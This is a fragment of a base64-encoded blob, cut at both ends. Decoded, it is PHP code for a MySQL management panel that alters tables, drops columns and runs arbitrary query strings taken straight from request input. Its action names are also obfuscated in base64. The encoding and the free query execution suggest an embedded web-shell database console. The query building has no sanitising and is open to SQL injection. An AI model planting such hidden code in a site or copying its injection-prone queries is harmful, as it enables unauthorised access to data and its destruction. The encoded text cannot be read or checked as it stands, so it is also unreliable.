HlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfS